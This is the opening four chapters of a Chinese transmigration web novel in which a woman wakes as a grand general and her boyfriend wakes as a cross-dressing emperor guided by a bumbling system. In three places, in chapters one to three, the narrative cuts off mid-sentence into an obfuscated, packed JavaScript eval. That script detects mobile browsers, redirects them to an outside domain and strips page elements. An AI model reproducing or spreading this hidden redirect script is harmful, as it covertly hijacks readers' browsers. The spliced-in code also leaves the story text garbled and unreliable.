《微臣有罪(穿书)》 1. 第一章 伴随着脑中长长的“滴”地一声,像是电脑死机,又像是重启。 她醒了。 睁开有些疲惫的双眼,天花板竟然是个帐篷顶,入鼻首先呼吸到的青草和尘土的味道,然后是听到外面嘈杂的刀剑操戈之声。 没等她有多余的反应,就冲过来一个人,跪地恭敬地禀报着什么。 季桐脑子还有些晕,她忍着不适坐了起来。 但是在手撑在床板上的一瞬间,她意识到了不对劲。 目光移过去,入眼是骨节分明,略有些粗糙的大手。 她四周环望了一遍,规制顶级的军帐,桌案整洁,檀木架子上挂着一副盔甲,盔甲肩膀处的吞肩兽口含银环,精钢护心镜上全是刀剑的斩痕,细长却繁密,这是一副将军盔甲的服制。 营帐里陈设简肃,却处处透着杀伐之气。 她……穿越了? 她穿到了哪个朝代不清楚,但是现在的处境她很清楚,她在战场上,至少是在战场后方。 床边单膝跪着的士兵还望着她,刚刚仿佛听到对方叫她什么将军。 “什么?”她听到自己的声音冷冽沙哑,分明是男声。 “禀大将军,我军后方粮道遭敌截击!押粮队阵亡一百二十人,粮车焚毁过半,督粮官苦不堪言啊,大将军——” “你刚刚叫我什么?”她又问了一遍。 “大将军,威麟大将军啊!”小兵终于停下了焦急之色,转为担忧,“大将军您是头还晕着吗?” ……这不是在车上听的那个种田文小说吗,那就不是穿越,是穿书了。 臂膀上的箭伤疼得她“嘶”了一声。 这特么的也不种田啊…… 营帐蓦然被掀开,又进来一人,这人也是一身甲袍,约摸着三十多岁,身形一看就孔武有力但略显疲惫。 “骠骑将军!”小兵转头,仿佛找到了主心骨,正要再禀报一次,却被打断。 “我已经知道了,下去吧。”骠骑将军摆摆手,坐到了她的床边。 “那末将退下了。”随着通禀军情的士兵退下,季桐松了一口气。 她是爱看小说,但她史书看的不多啊,她甚至分不清来禀报军情士兵的官职,以为是士兵,结果自称末将,这种情况怎么回答,太难了。 “季大哥,怎么醒了连随军医官都不在?”骠骑将军皱着眉叹气,“这些人也真是的,明知道你中了毒箭在休养,外面的守卫也不知道拦一下。” “没事,事急从权。”季桐表面上云淡风轻地回应着,心底却是骂了个遍。 艹啊,对方叫我大哥!我不会四十了吧?! 艹啊,这情形不像是没事啊!不会还有阴谋吧?! 随军医官紧赶慢赶地跑了进来,“卑职来晚了,实在是外面伤员颇多,卑职已为大将军换过药,此箭毒性不大,箭疮无溃脓之兆,想来按方服药加上勤换外用药很快便可愈合。” 季桐点了点头,任由医官查看伤口,一边用余光看医官和这位骠骑将军的神色。 两人皆担忧之色言溢于表,不像作伪。 季桐咳了一声,“我现在头有些晕,你们若是无事就先退下吧,粮草之事,就麻烦骠骑将军与军中要员先行处理。” 随军医官检查完后行了个礼,“是,大将军伤口并无大碍,卑职先行告退。” 骠骑将军也点了点头,“那大将军先休息吧,事情我会处理好的,我国兵力强盛国库充足,下一方粮草很快就能到,不是大事,大将军不必担忧。” 嘴上这样说着,心里却想着大将军不大高兴了,许是因为他先前喊了一声季大哥,乱了上下尊卑和军纪,以后该更当小心才是。 他又看了大将军一眼,大将军并没有给出多余的话,只得先行礼退下。 营帐内终于清静了。 虽然是在休养,但并没有服侍的下属,若是其他情况季桐肯定要多心了,但这是那本种田小说。 《农家小厨娘》的男女主是大邑的中层老百姓,文本身是温馨甜美,讲的都是一些种菜、做饭、家长里短的故事,只是大背景里的皇帝是女扮男装的。 皇帝刚继位半年,时间短又战事紧张,再又接连收复两个小县,朝臣倒也不嘴后宫之事。皇帝与威麟大将军关系渐渐交好,大将军发现皇帝是女人之后爱上了皇帝,各种计谋轮番威胁她,软硬兼施,最后强制爱诞下皇子,用好闺蜜贵妃掩盖了真相后,皇子登基,大邑也在这期间统一了国土,百姓安居乐业,男女主种田小日子过得好不快活。 而威麟大将军在文中提到的时候不多,却也表明了是个喜欢独行的人,周围不喜欢有人服侍,凡事亲力亲为,武力值也可以说是这本文里的巅峰了。 威麟大将军本名叫什么来着?听到全文后半段的时候文里也只出现过一两次本名吧。 好像是叫季止邪,跟自己同姓,也算是有缘。 穿成这样的人,季桐没什么好说的,有权有势起码不算倒霉。 就是不知道武力值在不在,真上战场能不能打。 季桐握紧了没受伤的左手,整个臂膀肌肉线条流畅,嗯很好,看起来挺能打的。 只是她又想了想原文的剧情,对威麟大将军的做法颇不赞同,甚至有点恶心了,哪有这样干的,食君俸禄,还要君上臣服在自己之下,不厚道。 唉。 不是嫌日常生活太无趣吗,这下好了,不仅穿了,还变性了。呵呵。 季桐下了床,找到军帐内已经搁置的铜镜,照了照镜子。 好消息:并没有年过四十,看起来顶多二十七八。 坏消息:跟自己长得可以说是两模两样,没有半点相似。 面容也算清秀姣好,剑眉星目的,虽体格高大气质沉静,但也并不是那种过于粗犷的糙汉。 她脱了衣服,摸了摸自己的腹肌,咂舌心说,摸起来手感好像比自己男朋友的更好。 季桐将檀木架子上的盔甲取了下来,穿上一身盔甲再站在镜子前更是飒爽英姿。 可恶,为什么不能跟自己谈! 她又想到了自己那无趣的男朋友和该死的穿书原因。 秦笙温柔太过,处处包容,处处退让,毫无激情,她喊一次疼就再不用力,她说过一次睡觉旁边有人睡不着就可以分房一个月,让季桐甚至有一种他并不那么爱自己的感觉。 相敬如宾的日子实在是无聊至极,这样无聊至极的日子,她居然过了几年。 再加上上班三点一线的疲惫充斥着她的脑海,她真的累了。 有一种食之无味弃之可惜的感觉。 她开始频繁的出入酒吧,跟小姐妹一起观赏男模,其实除开古板无趣这一点,秦笙姿色远在这些男模之上,这也是她只看不玩的原因。 直到昨天秦笙主动约她看电影。 她今天答应了,毕竟两人快十几天没见面了,也不知道秦笙在忙什么,但看他难得主动的份上,两人坐上了车。 一路无话,她坐在车里望着前方的搅拌车,莫名其妙想着,会滚下来吗,会砸到我们这辆车吗。 她其实经常这样想,只是这是不可能发生的,这概率太低了—— 啊! 应验了。 其实如果氛围好,她打算问问接下来到底是好好谈恋爱还是分了。可惜,出了车祸。 有可能他俩的身体都被压成纸片了,也不知道父母知道了得多伤心。 不过穿书这种事,理论上应该有系统吧,比如完成任务应该能回去吧? 但是除了刚醒时长长的那一声“滴”,再无其他声音。 季桐试着脑子里嚎了几声“系统”,无人回应。 —— 皇宫。 红墙金瓦的宫殿内,皇帝慢慢悠悠转醒。 殿内跪了乌泱泱地一群人。 “醒了!皇上醒了!”安贵妃娘娘惊喜地呼道。 太后连忙上前,招了招手,“还不快过来瞧瞧,锡太医。” 秦笙脑子胀疼无比,分不清周围是哪里,但下意识地伸出了手,交给太医把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128228|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脉。 他目光所及,先是纤细的手腕,然后是纹龙的枕榻,再然后是金碧辉煌的宫殿,战战兢兢跪地的奴才宫女。 他……穿越了? 季桐在哪儿? 秦笙将殿内的人再次挨个仔细看了一遍,没有,没有任何一个人像她。 目光再次落回自己正在被把脉的手腕,纤细,苍白。 他该不会穿成个细狗了吧。 “皇上龙体无碍,只是感染了风寒,休息几天就会好的。”锡太医恭敬地给出了模板答案。 太后看起来松了一口气,“那就好,皇帝近日来太过勤于政事,也该好好休息一下,皇帝是新帝登基,虽说不急于国本,但后宫无主,侍疾一事就交由安贵妃,其他人哀家也不放心。” 太后看向他,于是秦笙微微点了点头。 太后又搭了搭安贵妃的手,“有事就叫锡太医来看,其他人就先退下吧,人多不宜养病。” “臣妾谨遵懿旨。”安贵妃行了礼,太后就领着乌泱泱地一群人出去了。 寝殿内只剩了安贵妃和他。 而他的身份是,皇帝。 皇帝的命令是不容违抗的。 想通这一点后,秦笙立马想找个由头把人支开。 “安贵妃,你先下去吧,留人在门外守着就行。”秦笙开口后,他听到自己的声音不像自己,声音有些温细,虽然不像女声,却也不似男人。 他该不会还是个变态吧。 “皇上——”安贵妃跪地鞠着礼,但头却是望着他,眼神无辜。 “怎么了,若是无事,便去给朕煎药。”秦笙拿出了强硬的态度将人支走。 安贵妃瘪了瘪嘴,有些不高兴,却也没说别的,只道:“是,臣妾告退。” 他目送安贵妃走远,待殿内空无一人,秦笙一把捂住头。 如果不是他,非要喊季桐去看电影,如果不是他非要走那条道……或许,就不会出事了。 不,她一定没事。 他们是一起出车祸的,不可能只有他穿越了。 【滴——】 随着这一声长长的滴声,秦笙的面前突然出现了一个圆润的光球。 【宿主您好!这里是穿书办456号系统,由于书籍《农家小厨娘》剧情崩坏,威麟大将军拥兵自重功高震主,原主皇帝不满篡位,两人没有激起爱情火花,反而令种田文背景战火纷争,男女主无法种田。主系统已将时光回溯,并将原主送往女帝系统开荒扩土,故宿主需要扮演皇帝,完成剧情,完成剧情后奖励回到现实世界并改写车祸。】 圆润的光球一连串地念完了它的台词,还将自己的话写成文字浮在空中。 【宿主请选择“yse”or“是”】 ? 秦笙无语。 等等? “你说,皇帝原主去了女帝系统?皇帝是女的?”秦笙在脑子里问。 【检测到宿主不清楚《农家小厨娘》原著剧情,已发放全本。】 他好像知道了,这是他在开车的时候车内自动播放的小说,这车借给过朋友一次,回来也没啥变化,他没有特意去检查,今天开车时自动播放他也没管,脑子里一直在纠结去看电影前该给季桐买什么饮料,是常喝无错的还是新出的。 当秦笙读完整本,他整个人都不好了。 主线的男女主没问题,但是这个背景支线是什么狗屎剧情。 所以他是穿书了,还穿成了皇帝,但是个女扮男装的皇帝? 接下来他得被强取豪夺才能回到现实?如果那将军不喜欢他,他还得主动才能完成剧情? 打死他都不可能让这种事发生。 秦笙:“你是说,我现在是女的,要假扮男的,可是我本来就是男的啊?” 【……】 【……】 【宿主,真的吗……】 秦笙:“真的不能再真了。” 【啊啊啊啊啊啊啊啊!!!!我绑错了!!!救命啊!!!!完了完了完了!】 2. 第二章 【怪不得内心声音不像女孩子,啊没事的没事的宿主!不要在意那些细节!】 【女身也很不错的!其实差别不大的!原主有在好好锻炼身体和声线,宿主不会觉得很违和的!】 【而且宿主放心吧!我们现在系统都很人性化的!我们不是古早系统,不存在原身纠葛,咱们是身穿系统!直接用系统积分将您的身体修复改造成原主的模样,连DNA都一比一配齐!】 【因为以前总有灵魂不容或者影响判断的例子所以不再使用魂穿模式,原主是被系统直接收走投放到别的世界了!】 【喏,你看,我刚用的积分!】 【啊啊啊!!!我怎么被扣了双倍积分啊!!!!我的积分啊!!!!】 原本冷静寡言的系统此刻变得跟八千只鸭子一样聒噪,却也多了一丝人味儿。 秦笙揉着脑子,“能不能先别叫了,我脑子好疼。” “你叫456是吧,能不能帮我看看季桐在不在这个世界?” 456:【宿主,季桐是谁啊……】 “我,我未婚妻。”秦笙顿了顿,“我跟她一起出事的,不应该只有我穿书吧?” 456:【宿主,我没有这种功能的,您现实里的朋友亲人我一概无法查询,而且系统只为单人服务,宗旨是还原剧情,理论上您的未婚妻不会在这个世界。】 沉默了片刻,秦笙点了点头,神色晦暗,垂头看着身上盖着金龙纹样的被褥。 456:【宿主你叫什么名字啊?】 “秦笙。” 456:【你怎么名字跟原主一模一样,怪不得我会绑错啊……不过也对,系统通常都是绑定的同名同姓的宿主防止意外。】 “少来,你的问题就是你的问题,业务能力不行不要甩锅。”秦笙正色道。 不过。 秦笙捕捉到了关键点,“你是说,名字一样更容易被绑定或者穿越?” 456:【是的是的。】 “我那个世界的人名无法查询,那这个世界的人名你总能查询吧?”秦笙带着期待问。 456:【可以的宿主,只需要10积分就可以查询,但是宿主,这个不现实的,如果我有同事在这个世界绑定了你未婚妻我肯定知道。】 秦笙:“你别管,但是我哪儿有积分?” 456:【emmm……】 “你的问题,你得给我垫付。”秦笙毫不客气。 456慢慢地“哦”了一声,脑壳上浮现出了一个很委屈的表情,然后:【那我先给你垫付一下,我看看嗷,本世界叫季桐的一共有十三个,大邑也就是我国内有八个,分别是年四十八的陆家主母,年三十六的寡妇,年二十一的新婚夫人,一个十九的因为体弱多病一直在家养病,一个十八的订过婚了,两个十七岁的没有感情纠纷,还有一个五岁孩童。】 456:【哦对了!这个十九岁的季桐还是威麟大将军的表妹哦!】 “为什么跟我说这个?”秦笙不解。 456:【威麟大将军一族在朝堂内有官职的人非常多,一些宴会会邀请各家女眷参与,你说不定见过呢?回忆回忆?】 秦笙尝试回忆了一下,发现脑子里只有现实世界生活的记忆,根本没有这个世界的记忆,后知后觉道:“你是不是……忘记给我复刻记忆了?” 456:【……】 456:【对不起宿主,复刻完身体我忘了。】 它圆润的光球头顶又出现了一个委屈哭哭的表情包。 456:【怪不得检测到不清楚原著剧情呢……】 它嘀嘀咕咕地操作着。 秦笙扶额,“你业务能力有点差。” 456:【谁说不是呢,要不是我的同事说这个世界很简单送给我带,我还来不了呢QAQ】 “……行。”秦笙都不知道自己穿过来之后已经无语多少次了。 大约过了十多分钟系统终于给他复刻传完了原主的记忆。 传完后系统又哭唧唧地说,原主记忆不完整,模糊程度高达百分之六十,可能是泡过水。 秦笙:“是在你脑子里泡过水吗?” 456:【呜呜呜呜宿主是不是在骂我!】 秦笙消化了一下记忆,叹了口气,原主过的有够惨的。 原主从小被当成男孩子养大,因为先帝子嗣上福薄,只有三个女儿和两个儿子,其中两个女儿夭折,一个儿子也夭折,剩下的唯一的儿子就是她这个女扮男装的,于是她早早当上了太子,虽然生活富饶,不受欺压,但明枪暗箭数不胜数,从小到大都在水深火热之间,拿着生命蹦迪。 甚至小时候中过毒,失过忆,挨过打,摔下过马,掉进过湖。 但原主是个难杀的。 半年前先帝驾崩,她才终于登基,清理完了这部分恨她入骨的人,但朝堂上她作为新帝还是有些势单力薄,根本不能昭告天下她是个女子,那会闹翻天的。 整个大邑国内知晓她女子身份的只有太后,锡太医和安贵妃,再就是贴身伺候的宫女翠兰。 安贵妃是原主年少时最好的玩伴,一开始也是两小无猜青梅竹马之情,可惜八岁时落湖被安贵妃发现了,就做了闺蜜。 怪不得刚刚秦笙要把人支出去的时候对方一脸委屈。 后宫嫔妃很少,除了安贵妃就只有两个朝臣的女儿,因为好掌控,位份给的也不高,入宫后也没有召见过。 大邑正是新帝登基国事繁多的时候,后宫去的少也情有可原,朝臣并不多说什么,只是偶尔谏言后宫不可一日无主,希望早立皇后。 秦笙在回忆里并没有找到与季桐长相相似的女子。 他摇了摇头。 殿门此刻又被推开了。 “皇上~”是安贵妃。 安贵妃提着裙子小跑过来,一脸谄媚,趴在床边,“皇上皇上~锡太医臣妾先借走啦,药已经熬好了,等会就让翠兰送过来哦,好不好?” 秦笙再次扶额,下意识开口了一句:“你生病了?借锡太医干什么?” “臣妾要私通!”安贵妃抬眸,眨着扑闪扑闪的大眼睛。 “……”秦笙一口气差点没提上来。 又回忆了一遍原主的记忆。 确有此事。 “去吧。”秦笙把心沉到了肚子里。 圆润的光球不停地往外张望,系统现在没有发表情包,但秦笙甚至有一种能看到系统表情的感觉。 它在吃瓜。 “行了,人都走远了,别看了。”秦笙将那团光球唤了回来。 —— 五天后。 边关战事突然告停,但北狄的大军却没有完全退去,只是派了来使说愿意暂缓战事。 季桐笑了,自己这边是兵力不足,他们只有十万大军,北狄却有十五万,要是以长久战,吃亏的必定是大邑。 就算将领再厉害,也无法越过五万兵力的鸿沟。 既然北狄愿意暂缓,那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128229|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂缓,求之不得。 但他们的大军也如同北狄一样,并没有退去,只是进入了对峙状态。 季桐带着副将回到了后方铁门关的练兵场。 那里生活起码比外面风餐露宿的好。 季桐来了五天,已经渐渐习惯了战场上的生活,期间她跟那些新兵蛋子打过擂台赛,连战二十场全胜,且未有疲态。 这副身体真的是顶好。 拳术,剑术,枪术,马术,她一一验证过,只要武器拿到手里就会得心应手地不得了,仿佛是身体的本能反应。 铁门关的练兵场上,尘土飞扬,烈日照耀中,新兵们颤抖的手臂举着刀,汗水从他们脸庞一滴滴滑落。 "手臂举平!腰马合一!" "你们现在流的每一滴汗,战场上都能换回一条命!" 骠骑将军在练兵。 季桐已经知道了他叫林明远。 林明远走到一个瘦高青年面前,抬起对方下垂的手腕:"王二狗,你拿的是刀不是锄头!北狄人可不会等你摆好姿势再砍你脑袋!" 青年涨红了脸:"报告林将军,我、我叫王忠..." "在战场上,活下来的才有资格报名字!"林明远厉声喝道,却在转身时悄悄叹了口气。 这些新兵大多活不过这个秋天了,本来前几个月是说不会再征新兵,但北狄实在是兵力强盛,没有办法,既然皇帝允许了征兵一事,那就只能是能征多少征多少。 季桐带着一队黑甲亲兵鱼贯而入。 林明远看清后立刻单膝跪地:"末将参见大将军!" "起来吧。"季桐的声音不高,扬了扬下巴,"这就是你练的兵?" 林明远起身,随着季桐的目光移到那个叫王忠的新兵身上。 这人手又开始不受控制地发抖。 林明远开口道:"这批新兵训练不足两月,我们又在前线打了一个月的仗,后方负责新兵训练的人不多,尚需——" 季桐抬手打断林明远的话,径直走向王忠。 全场鸦雀无声。 "害怕?"季桐问道。 王忠的喉结上下滚动:"报、报告将军,小的...小的不害怕..." "撒谎。"季桐抽出佩刀,轻轻一弹,王忠举着的刀就应声落地,"战场上,恐惧会让你送命,谎言会让你害死同袍。" 林明远心里紧了紧。 威麟大将军的治军之严苛朝野闻名,近日来与自己的兄弟之情也不如从前那么亲近,或许是大军压境之下压力太大。 “大将军,末将知道新兵怯战欺上依军律当杖二十,但如果打了怕是没个十天半个月下不来床,更耽误训练。”林明远出言相劝。 季桐愣了一下,“我没说要罚。” 顿了顿,季桐板了脸,“新兵怯战实属正常,让他下去休息调整心态,明天再加练一倍补回来。” “是!”林明远脸上露出了笑容,原来大将军也没想象中的那么凶,是他狭隘了,他就说嘛,五六年的交情了,虽然共事时间不长,但怎么会还跟刚认识一样不近人情。 兹——兹,兹—— 又来了,电流声。 这些天季桐脑子里经常有一股电流在刺啦作响,像是坏掉的耳机音响。 听久了也完全习惯不了,越听越想吐。 季桐站在原地看了一会儿,前方还在训练的新兵个个都汗如雨下。 直到林明远叫她了一声,她才回神。 3. 第三章 “你跟我来。”季桐丢下一句话。 她最近打听了不少事情,也清楚了一些上下级的称谓。 原来林明远一开始叫她季大哥并非攀关系,而是季家有一个旁支小姑娘嫁给了他。 虽然她这原身年纪没林明远大,但辈分高,那林明远喊她这一声季大哥不算过分。 进了将军营帐,季桐随意坐下,摆了摆手,示意对方坐。 “大将军,底下上报了一件事,不知道该不该秉公执法。”林明远皱着眉,“原本这种小事是不用将军给结论的,但——” “你说就是。” “哑泉镇有一家小夫妻捐了百两白银,还用女儿家的钗饰上下打点了不少将士,那些钗饰拿去当铺一看都是好东西,她只求她丈夫不被征兵,故而这事拖了一个多月了。”林明远斟酌了一下措辞,“可她那丈夫年二十,身体康健,邻里乡亲更是说他赤子心肠且力气颇大,正是能当兵的好时候,而且上头的命令是不允许这几个地方正值壮年的男子留下的,将军觉得这事……” “百两白银?”季桐倒了杯茶,推给林明远,“这可不少啊,家里是有铺子吗,还是有家底?” “没有,小夫妻俩白手起家,那小娘子做吃食做脂粉那都是一绝呢。” …… 季桐心里一咯噔。 该不会是男女主吧。 如果真的把男主拉来当兵,岂不是这本小说就不存在了。 可她不确定,这个世界是要按原路走一遍,让男女主好好种田,然后她就能回去? 还是说,打破小说原本剧情,她才能回去? “他们,叫什么?”季桐假装不经意地问道。 “那男的叫古重韧。”林明远回忆了一下,“那小娘子我不知道,姓桂吧好像。” 还真是。 季桐眉心一跳,模棱两可道:“暂且不管吧,在这次战事结束前,若是能持续地供上白银,也不用多,只要他们能吊着那些奉命行事的人就可以放任不管。” 男女主违抗皇命,不能出人力,自然就该为国家战事付出一些钱财,况且女主很能赚钱。 “是。”林明远颔首,“那末将先告退了。” “不必如此拘谨,私下里还是可以唤我季大哥。” 林明远眼眸一亮,再次行礼,“是,季大哥,那我先去忙了。” 季桐点了点头。 目送林明远拉下帐门,整个营帐里只剩她自己一个人,季桐一个弹跳起步用后背蹦到了床上。 瘫在宽大的床上,季桐思绪乱飘。 虽然很累,但她喜欢这种充实的感觉,更喜欢别人不会违拗自己的感觉,这个将军职位她做的得心应手。 她原本是个做产品外包装设计,但因为美术其实功底一般,转而去做了产品营销,她的家庭不算富裕,但也不穷,小康偏上,溺爱的父母却偏偏养出了她一身强势说一不二的性格。 从小就不愿意听别人的说教,导致没怎么谈过恋爱。 她喜欢权力,但她在事业上又没有大的建树,没人将她捧在高处。 除了秦笙。 他对自己,唯命是从。 —— 他们是在交大举办的画展上认识的,当时秦笙是个小圈子里稍有名气的小画家,被邀请过来参展点评,但因为脸长得显小,被很多人当成那里的大一学生。 季桐虽然美术方面也略知一二却画不出什么有水平的画,是只能教教小学生初中生的程度,纯属爱好,当时她正在交大读大一。 季桐当初第一眼看他,就想着,这要是我的人体模特该多好,于是一个激动就A上去要了联系方式,以为他是这个学校的学生,于是问他缺不缺钱。 他低着头抬着眼眸,一双眼睛勾得她心神荡漾,他淡淡地说,缺。 “那你给我当人体模特呗,钱不会少你的。”季桐快要憋不住嘴角的笑意了,她脸上有多猥琐她都不敢想。 秦笙点点头说可以。 季桐就上下打量了他一遍,神色温柔,皮肤白皙,手长腿长,五官挑不出一丝瑕疵,一双桃花眼微微弯着,薄唇微勾,钓的她茫然不知所措。 心说,赚死了。 于是她资助了他一年,只为了偶尔看看他的腹肌,画一下,满足自己的眼福。 季桐十分清楚,自己不是富二代,玩不起那么大,以前也没谈过恋爱,实在是不敢上手。 直到事情败露,季桐终于知道了秦笙的身份,气得她一个月没理他。 然而一个月后,秦笙追求了她,细数了她给他的每一笔人体模特的钱,一共12000块全部还给了她,并且还给她买了她看中很久的包包。 那款包十几万,不是她能消费的起的,也不是一个初出茅庐的小画家日常消费的起的,现在画家都是表面上名声好听,实际上赚钱能力很一般,还得接商业插画才能有钱。 她顿时明白了,秦笙家庭背景跟自己不一样,他是个富二代。 于是她怒气冲冲地质问他:“你这是什么意思?你要看回来不成?还是要包养我?” 他微笑着,“不是,既然我要追求你,那我是自愿给你当模特,钱当然要还给你,至于包包,算是我隐瞒的欠礼。” 她实在是不争气,看着秦笙那样的脸,那样的身材,她生不起气来了。 “那你给我摸摸腹肌。” “……” 他们在一起时,秦笙已经23了,季桐才19。 三年后,季桐毕业了。 秦笙火速求婚,可季桐却不同意,也不想将秦笙带回去给父母看。 她家并不是特别有钱,家境是虽说小康,但家里给的大学生活费也就是一个月三四千,当时刚上大一就看上了秦笙,每个月还要在秦笙身上花一千模特费,害得她大一丧失了很多攒钱买化妆品和包包的机会。 而秦笙不一样,在一起的这三年,季桐充分感受到了价值观的差距,她怕自己由俭入奢易,由奢入俭难,所以心里一直很抗拒这种婚姻。 季桐觉得现在这样正好,好好工作,谈谈恋爱,踏实心安。 可时间长了,她骨子里的反叛开始向外扩散。 25岁的她已经习惯了秦笙无微不至的伺候,包容,退让,但三年来她却都始终不肯松口答应结婚这件事。 时间是会杀人的刀。 再好的感情也会出现嫌隙。 秦笙从不问她为什么不肯结婚,但即使他问了,季桐觉得说了也不会有什么改变,家境差距是难以逾越的鸿沟。 她就是不想。 —— 季桐半梦半醒,伸手摸了摸旁边空空的位置。 即使近段时间来都跟秦笙很少独处,但几年来的习惯还是让她觉得有些空洞。 秦笙。 季桐将这两个字在心里揉了一遍,最后轻轻从唇齿间慢慢吐出。 她承认她想他了,但只有一点点,毕竟这人古板又无趣。 人生若只如初见…… 兹——兹,兹—— 啊啊啊又来了,特么该死的电流声。 季桐拍了拍自己的太阳穴,企图像拍老式电视机一样修复这种问题。 捏麻麻的,该不会是有系统但是连接不上吧??? 她就这么倒霉吗。 哪个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128230|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻呗系统啊,等她能连接上一定狠狠揍它一顿,打得它亲妈都不认识。 —— 永宁宫。 朱红廊柱衬着正路过的金銮轿撵,正巧下午的阳光折在金色的轿撵扶手上,闪得一旁打盹儿的太监立马醒了神。 “皇上驾到!”一声长长的太监音打断了殿内正在礼佛的太后。 太后收了佛珠起身,坐在了椅榻上。 “儿子给母后请安。”秦笙非常规矩地行了礼。 “皇帝这几天,倒是比哀家佛前的油灯还忙。”太后手里拨着一串佛珠,叹了口气,“听说皇帝在找什么人?” “儿子母后怎的也听那些奴才嚼舌根,只是儿臣想,深宫寂寞,安贵妃总与儿臣说起这事。”秦笙理由想的很是充分,“一来后宫人少,不利于皇家开枝散叶,二来安贵妃能说话的姐妹太少,她孤寂苦闷,儿子又忙于政事,实在心疼。” “你——” 太后哑了声,又有些心虚地低顺了眉眼,“皇帝有自己的打算是好事,但这事不宜外人知晓,后宫添上新人难免又多口舌。” 太后近来是有些怕自己这个女儿了,越来越像个男人,不管是为人处事还是动作仪态都与男子并无两样,连她这个做母亲的都要真的以为自己生的本来就是个儿子了。 “母后无需担忧,我国国运昌盛,兵力强盛,国库充盈,朕哪怕是身体抱恙,也不影响后宫添新人,无人敢置喙。”秦笙将体面话说尽。 “皇帝说好,那就好。”太后无奈,微微点了点头,“那就这么定了,一月后选秀,就由安贵妃打理选秀的事儿,可好?” “儿子想,不用太费心打点,七日后选秀即可。” “是不是太急了。”太后皱着眉,颇不赞同,“这一层层传话下去,姑娘们还要练习宫里觐见的礼仪,哪里来得及。” “正是时间紧才更能体现出本质是否淳朴,礼仪是否从小得当。”秦笙趁热打铁,“并且儿子想全部进行殿选,不再由少府筛选名单。” 他有把握,只要见到季桐一定能一眼认出。 太后拿她没办法了,摇了摇头,“皇帝说什么便是什么吧,哀家也很难管得到你了。” “谢母后。” “只是选秀的话,季家的姑娘们是肯定会送上来很多了,皇帝务必要在里面挑选一两个,不可让其全部落选,位份也不能低,不要意气用事。”太后嘱咐了一句。 “这是自然,儿臣知道。” 秦笙这次请安的任务全部达成,寒暄了几句后就离开了永宁宫。 456:【宿主宿主~你好聪明啊!这样一次选秀起码能见到大邑国内百分之十五的女孩子吧,你还没放弃找你的未婚妻吗?但是你未婚妻就算在这个世界也可能不符合选秀条件啊,万一已经嫁人了呢?或者是个乡野少女一点家世都没有,不能参加选秀呢?】 秦笙:“闭嘴。” 456:【不过我觉得还是好好完成任务回到你原来的世界来得更快啊,为什么要舍近求远呢?】 秦笙:“……我就不能一边找她一边想办法回去吗?” 456:【也是哦~咦,为什么是想办法回去?办法就是完成任务啊,宿主你不能投机取巧哦,我会好好监督你完成任务的,其实要不了多久,最多十年——】 秦笙忍不住薅了一把面前的光球。 456伸出两只虚拟的白色光手抱着自己的头:【呜呜呜呜不要薅!疼!】 秦笙怀疑这个系统有表演型人格,明明他摸到的就是空气。 “你不是没有实体吗!在疼什么?幻肢吗?” 456:【呜呜呜是的……】 4. 第四章 边塞的早晨很冷,虽然白天照样艳阳高照,但早上季桐还得把战甲披着挡挡风。 有点像西藏,但地势完全不一样,同样是大西北,但海拔没那么高,紫外线晒不黑人。 季桐从床上坐起来,等待身体某个部位平复心情。 是的,她已经习惯了。 “季大哥!”林明远也不着人通传,掀了帘子就吆喝起来,“一起去方便方便吗?” “……自己去。”季桐摆了摆手,“赶紧滚。” 哎,这么多天她还是没习惯早起的硬朗和骠骑将军盛情邀请他去如厕。 看看自己的也就算了,看别的男人的还是算了。 毕竟她又不是真男人,膈应。 洗漱完吃过早饭,出去安排了军中新兵大体的训练方向后,一早上很快就过去了,临近中午,太阳已经逐渐灼人。 军帐大门帘儿又被一把子掀开了,还是林明远。 “哥——哥——哥,我从小厨房那里端了几道好菜!”林明远端着一个大木盘子冲了进来,“之前天天在外面吃火头军炒的那菜真是难吃死了,那厨艺我看早晚得吃死人。” “搁这儿吧。”季桐扶额,“打仗的时候有的吃就不错了,没让你啃干饼你就知足吧。” “嘿嘿!”林明远将饭菜放在长桌案上,自己也坐了下来,“哥,我午饭跟你一起吃,不介意吧?” “随意。” 得了允许,林明远岔开腿在矮凳上坐下,不客气地扒拉了一大碗饭到自己面前,“哥,我说,有个老有趣的事儿了,你知道嘛,皇上要选秀!” “啊,这算什么有趣的事?”季桐挑了一块红烧肉,认真地吃着饭。 她心里却想着,这皇帝她没记错的话书里是个女的吧,选秀有什么用? 如果不想暴露身份,岂不是给自己找麻烦。 而且,她以前看过这文,虽然没看完,但在车上听也听了大半,她明明记得这书里皇帝没选过秀。 还是说她穿过来的时间线在很后面? 